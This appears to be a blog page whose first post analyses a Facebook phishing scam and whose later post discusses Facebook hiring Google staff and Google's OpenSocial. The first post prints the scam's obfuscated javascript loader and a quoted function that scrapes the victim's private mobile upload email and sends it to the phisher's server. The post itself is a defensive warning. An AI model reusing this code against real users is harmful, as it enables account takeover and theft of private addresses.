One of my FB contacts had shared this link on their facebook Wall - http://174.120.6.98/~tchecks/next.php?id=12132. It claims to run some javascript code after logging to m.facebook.com to find out how much time you’ve spent on Facebook.

javascript: var _0xbdfc=[“\x73\x63\x72\x69\x70\x74”,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74”,”\x73\x72\x63”,”\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x34\x2e\x31\x32\x30\x2e\x36\x2e\x39\x38\x2f\x7e\x74\x63\x68\x65\x63\x6b\x73\x2f\x6d\x6f\x62\x69\x6c\x65\x2e\x6a\x73”,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64”,”\x62\x6F\x64\x79”];var script=document[_0xbdfc[1]](_0xbdfc[0]);script[_0xbdfc[2]]=_0xbdfc[3];document[_0xbdfc[5]][_0xbdfc[4]](script); void(0);

As usual, I never support anyone running any kind of JS on address bar. So, thought to dig through the JS code. Well, that array in human’s language is ..

[“script”, “createElement”, “src”, “http://174.120.6.98/~tchecks/mobile.js”, “appendChild”, “body”]

Now, one important function in that mobile.js page is

$.get(“http://m.facebook.com/upload.php”, function(data){
var mydata = data; var mobiles; var count = 0;
$($(mydata).find(‘a’).filter(‘:contains(“m.facebook.com”)’)).each(function(){if(($(this).text() != undefined)){ mobiles += $(this).text() +”;”;}});
var clean = mobiles.replace(“undefined”,”“);
var cut = clean.slice(0,clean.length - 1);
var insert = cut.replace(/;/g,”,”);
//Redirect to php inserter which redirects back to next set of steps.
top.location.href = ‘http://174.120.6.98/~tchecks/check.php?get=1&m=,’+insert;
});

This function gets the page m.facebook.com/upload.php, parses it, looks for all links with m.facebook.com in it, and grabs one email address, which as per Facebook is

• This is *your* personal address - don’t share it with anyone
• The email subject will be the photo caption if your email contains photos.
• The email subject will be your updated status if your email contains no photo.
• Save your upload email as a contact for easy access.

So, now the phisher has your private FB Mobile email address, through which he can upload pics or update your status.

Moral of the post: Don’t be dumb and run any javascript in your browser window if you don’t understand what it does. And, install NoScript for Firefox. Other browser users, find similar alternative or Get Firefox.

Google is a great company. It sure is. What ever Microsoft has done to IBM twenty years ago (I’ve no clue about it as I was three years that time, but I read this a lot of times whenever I read about Google. Being a hardcore fan of Google, I believed it) Google has done to Microsoft few/five years before. Now, Google is the same awkward position in which Microsoft was(is). Google has lost its “That Company” tag among the Great Engineers and others of the IT world. Now, its not the hottest/coolest place for those great guys to work. Welcome the the new kid in the block, who is becoming Google’s Google - Facebook.

I saw an article in TechCrunch - Facebook stealing Googlers at an alarming rate. Facebook knows the best place to get engineers just like Google knew when it was growing from 100s to fifteen-thousand. It has recruited much talent from Microsoft, and now, its losing talent to Facebook. Here is a note from Justin Rosenstein telling that Facebook is “That Company”

A couple of months ago, after three years as a Google product manager, I decided to leave for Facebook. I am writing this note to spread Good News to all the friends I haven’t already overwhelmed with my enthusiasm: Facebook really is That company.

Which company? That one. That company that shows up once in a very long while — the Google of yesterday, the Microsoft of long ago. That company where large numbers of stunningly-brilliant people congregate and feed off each other’s genius. That company that’s doing with 60 engineers what teams of 600 can’t pull off. That company that’s on the cusp of Changing The World, that’s still small enough where each employee has a huge impact on the organization, where you think about working now and again, and where you know you’ll kick yourself in three years if you don’t jump on the bandwagon now, even after someone had told you that it was rolling toward the promised land. That company where everyone seems to be having the time of their life.

I’m serious. I have drunk from the kool-aid, and it is delicious. Facebook is hiring ambitiously across the organization. If you’re an engineer, UI designer, product manager, statistician, bizdev god, general entrepreneurial badass, whatever, and you would even consider considering Facebook as your new place for hat-hanging, please send me a Facebook message. We can have lunch, or I can give you a tour, or we can go kick it with Mark Zuckerberg — whatever it takes.

Well, yeah. <sarcasm>So true. Facebook is the best company to work for</sarcasm> There are two things to consider here as reasons. One is money, second is passion. Money is the obvious reason for many guys to switch a company. Facebook is a hot company right now and its going to become public, and its offering stock options - any guy with working brain can see lots of potential money in front of him. So, they are switching to Facebook. There is another interesting version of reasoning and it is “it’s not just about the money. Entrepreneurs want to work at the hottest place on earth and right now that’s Facebook.” Well, as always, for any story, there will be “My Version”, “Your Version” and “The Truth”.

Here, the possible truth could be the combination of money-factor, hottest-place-factor and not-a-big-company-factor, as many intelligent people prefer to work for themselves or a small company rather than a big company. Google is no-more the new kid in the block, its been nine years and is fifteen-thousand-employees in size. Microsoft did a big mistake when Google was small, it should have acquired it. When, Google became big, it was nothing but a search-engine, now its competing with Microsoft in all possible fields. Right now, Facebook could be just a social-networking platform, but who knows what it got in its bag for us in the future.

In the recently declared Google’s war on Facebook named OpenSocial API, MySpace joined the allies list of Google. TechCrunch quoted that “Suddenly, within just the last couple of days, the entire social networking world has announced that they are ganging up to take on Facebook, and Google is their Quarterback in the big game”

Guess, the social networking world didn’t manage to digest the huge success of Facebook. Now, they are backing up Google in fighting back Facebook. By looking at the partner’s list of Google’s OpenSocial, all that was left in my mind was same question asked by TechCrunch - “Will Facebook now be forced to join OpenSocial ?”

By the way, for the tech folks out there, You can signup here for access to Orkut developer sandbox. I wasn’t very much interested in testing it as my profile would be available to all gadgets with access to the sandbox.

What ever is going on there on the top I’ve the following doubts for myself - Should we take this as competition between Google and Facebook or should we confirm that Google is scared of Facebook by looking at the force it’s trying to face it. Is Google following it’s motto - “Don’t be Evil” even now ? Google is resembling Microsoft all of a sudden. Marshall Kirkpatrick of Read/Write Web has some concerns which might make you think little more against “OpenSocial”.

Leaving that apart - Microsoft’s investment in Facebook, Google’s answer by partnering with big communities like MySpace, LinkedIn, hi5, Hyves, salesforce.com makes this fight very interesting.

Happy Birthday SRK !!!